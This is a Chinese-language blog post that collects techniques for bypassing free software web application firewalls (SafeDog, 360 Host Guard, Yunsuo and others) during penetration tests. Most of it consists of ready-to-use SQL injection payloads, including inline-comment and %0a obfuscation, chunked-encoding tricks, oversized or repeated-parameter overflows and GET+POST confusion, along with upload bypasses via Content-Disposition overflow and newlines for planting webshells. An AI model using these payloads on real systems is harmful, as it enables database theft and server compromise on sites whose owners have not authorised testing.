0x01 前言

最近在渗透测试的过程中遇到了许多软waf的干扰,因此决定开一篇文章针对waf进行绕过汇总。

0x02 安全狗

安全狗这只狗几乎是见得最多的一只。其实也是最容易被绕过的一只。有请我们的测试网站 http://www.xxxxxx.cn/登场。

SQL注入绕过-内联

内联注释算得上是最好用的bypass方法了,虽然内联注释

/*!*/
只有mysql可以识别。

我们的目标站为最新安全狗,可以通杀/*!50001*/之前的所有姿势。

但是依然可以使用内联注释bypass。

比如在注释中加入参数扰乱waf。比如/*!80000aaa*/就可以绕过。

SQL注入绕过-分块传输

分块传输,顾名思义也就是将完整的数据分几块进行传输,只可以应用于post方法,当然request方法也可以。

分块传输依托于http头的Transfer-Encoding: chunked,当http头的该参数被加入时,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

我们在本地试验分块传输。

这是正常请求。

然后我们构造分块传输

首先在请求头加入:Transfer-Encoding: chunked

post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

0代表数据实体结束,代表此后没有数据,0后需要加两个空行代表数据包的结束。不然点击提交按钮后会看到一直处于waiting状态。

当然每次都手动更改payload肯定非常影响效率,因此,也有burp的相关插件提供了这个功能。下载链接在下发。

chunked-coding-converter.0.2.1

链接:https://pan.baidu.com/s/1QpjHNlOG9Qck343mgqS5lw
提取码:vog3

此插件不仅可以通过encoding将payload进行转换,也可以将混淆加入数据中,轻松绕过waf。

分块传输的注释符为

;
有的waf比如Imperva,360等的规则已经对传输编码的分块传输做了处理,可以把分块组合成完整的http数据包,此时再使用正常的分块传输肯定会被拦截,因此可以选择在长度标识符处加上分号作为注释。


3;eee
id=
2;xxx
1'
3;xxxx
an
2;xxx
d
3;xxxx
1=1
2;xx
-
2;xx
-+
0

而插件 chunked-coding-converter.0.2.1 使用的注释则是随机长度随机字符,如下。

SQL注入绕过-溢出

安全狗无法通过参数溢出绕过,起码我不行

上传绕过-溢出

安全狗会对脚本文件的后缀和文件关键字进行正则处理并过滤有害请求。

也就是说想绕过安全狗需要达到两点

1、木马免杀
2、文件后缀绕过

木马免杀很简单,php的话花样比较多,简单混淆一下即可

如:

但是后缀名就比较难了。如果对方web容器不支持畸形解析,那么后缀名必须上传脚本文件才可以getshell,因此最终到服务器的文件后缀名必须为php。而安全狗最基础的过滤便是过滤php后缀,那怎么解决呢。我们便可以使用http头的  Content-Disposition:  字段溢出。

由于安全狗对于http头字段: Content-Disposition: 处理的不是很好, 当长度增加到48930的时候,安全狗的上传防御就失效了。结果如下图:

这也就是溢出的基本思想,也就是将字段增加到程序无法处理的长度,然后溢出的长度便可以执行自己构造的代码。

上传绕过-换行符

这个其实我是在测试360主机卫士的时候想回来试一试的,没想到也可以绕过...

具体怎么绕可以看一下下面的360上传绕过,这里就不多写了。

0x03 360主机卫士

虽然这款软件官网已经关闭,且不再更新,但是依然可以经常见到它的身影。

环境:
phpstudy
360主机卫士Apache 纪念版
win 2008 r2

代码没写,直接搬运的sqli-labs的源码

简单测试:payload:?id=-1 union select 1,2,3 --+

sql攻击触发了防御机制,本来应该转到 zhuji.360.cn页面,正常来说是一个警告页。但是由于该软件已经停运,所以出现白屏即是被阻断。特征便是向zhuji.360.cn发出无回应的请求。

可见确确实实被防御了。

现在我们进行绕过

SQL注入绕过-网站后台白名单绕过

在360主机卫士客户端设置中存在默认网站后台白名单,如图:

利用PHP中的PATH_INFO问题,也就是将白名单关键字当作PATH_INFO 的模块绕过过滤 。

path_info 模式:http://www.xxx.com/index.php / 模块 / 方法:

随便挑选一个白名单加在后面,可成功bypass。

如 :index.php/admin?id=-1 union select 1,2,3 --+

这里虽然路径有admin,但是这个admin会被当作是index.php的模块,最终访问的依然是index.php.

SQL注入绕过-静态资源绕过

当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,该waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

payload:index.php/1.png?id=-1 union select 1,2,3 --+

SQL注入绕过-溢出

由于GET方式的请求是有长度限制的(这个限制不是HTTP协议限制的,而是不同的浏览器限制的,比如ie浏览器长度就限制为 2083 字节 ),所以waf几乎都会对检测长度全覆盖,但是由于POST包长度不受限制(这里其实也有限制,是web容器对其的限制,比如Tomcat 默认是2MB ),所以相比GET,部分waf为了提高数据吞吐量和处理速度,对POST的数据过滤往往达不到全覆盖,当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。所以可以使用溢出进行绕过。

payload:id=-1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3 -- +

也可以使用内联加入无效字符进行绕过,比如

id=-1 /*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*/ union select 1,2,3 -- +

SQL注入绕过-参数溢出

这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。

payload:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=-1 union select 1,2,schema_name %0a/*!from*/ information_schema.SCHEMATA

SQL注入绕过-GET+POST

这算得上是一个年代久远的逻辑漏洞了,那就是当同时存在GET和POST请求时,会进入POST逻辑,从而忽略对GET请求的过滤。

payload:

?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST:id=1

SQL注入绕过- %0a+内联注释

这种绕过方法虽然只对mysql生效,但是在这么多绕过方法中,内联注释+扰乱是最好的一种。

除了seletc from 需要使用%0a,其他的关键字随便绕

如payload:?id=-1 union%0a/*!12345select*/ 1,2,schema_name%0a/*!12345from*/information_schema.SCHEMATA

SQL注入绕过-编码绕过

客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。

这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。

id=-1 %55nion %53elect/*!1,2,schema_name %0aFROM information_schema.SCHEMATA*/

SQL注入绕过-分块传输

这个上面已经讲过了,对付360居然废了,如果直接输入payload然后分块后会被拦截,且包括增加注释都没用...

上传绕过-溢出

同样Content-Disposition: 字段溢出依然适用,不知道这些软waf是不是一个模子出来的...

360会对文件后缀进行waf,脚本文件显然都在黑名单中。

比如php

我们再测试一下它会不会对文件内容进行检测,我们搬出一个最容易被杀的小马,把文件名后缀改为jpg。

没想到上传成功了,这也就意味着如果服务器存在畸形解析是可以被利用的。当然我的服务器没有,也就无法利用。

那么我们只需对后缀名进行绕过即可。

我们输入足够数量的字符将 Content-Disposition: 字段溢出。

成功上传。

上传绕过-换行符

这种绕过方法依然是针对 Content-Disposition: 字段,利用方法为:在from-data前加回车。这样就可以绕过对文件名的过滤。

还有一点是经过测试出来的结果,就是不仅仅在from-data前加回车可以绕过,在name=之后加回车同样可以

那么,在filename=后加回车可以吗,答案是依旧可以,那我又尝试在参数内用换行符分离,果不其然还是可以。所以结论为: Content-Disposition: 字段 的每个参数值前或者参数内加回车都可以绕过360的后缀名过滤。

比如我可以这样:

又或者是这样:

0x04 云锁

自此三大常见的waf已经都出现了,云锁的绕过方法其实和上面的许多大差不差,下面介绍一下。最开始的云锁由于可以get+post绕过,所以很简单,但是云锁自从更新2.0以后,变得极其可怕,差点就绕不过去了,但是也只是差点。

SQL注入绕过-GET+POST

经过测试最新版的云锁已经修复了该缺陷

SQL注入绕过-编码绕过

该缺陷已修复

SQL注入绕过-内联注释

GET方式下,内联注释内加入数字符号字母依旧可以绕过云锁。

payload:id=-1 /*!800000aaa*/union /*!800000aaa*/ select /*!800000aaa*/ 1, /*!800000aaa*/ user /*!800000aaa*/ (),3

但是

云锁还有一个扯淡的点在于它对select from关键字过滤的十分严格,但是依然有突破点,毕竟内联可以用,那就代表还有希望。

构造语句为:http://192.168.150.139/sqli/Less-1/?id=-8189' UNION /*!11444all*/ /*!11444select 1,2,(/*!11444select group_concat(schema_name) from information_schema.schemata) */ -- asdf

使用/*!*/将select from 语句包裹起来,便可绕过云锁。至于具体怎么绕过的,后面我会开一篇文章讲解。

SQL注入绕过-溢出

同样失败,死于select from

上传绕过

这个暂且不说,因为没装云锁客户端,没开上传防御模块。

0x05 护卫神

恶心东西,捆绑一大堆还自带提权漏洞,没装,大致过waf方法和上面大同小异,遇到的时候多试一下,变通一下即可。

0x06 D盾

放弃吧兄弟,D盾单引号都封

0x07 结语

暂时就针对这几个进行绕过,这几个都是常见的免费软waf,其实核心思想是差不多的,参数污染、溢出、利用正则缺陷,只要多试一下,总是有希望的,为什么说有希望呢,大家也看见了,waf只会越做越好,就拿同样是免费的云锁来说,几乎已经不可能绕过了。所以web肯定会越来越难做,最近漏洞也是逻辑漏洞居多了,什么XSS、注入几乎几乎见不到了,未雨绸缪,是时候开辟其他技术栈了。

1 对 “waf-by pass”的想法;

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注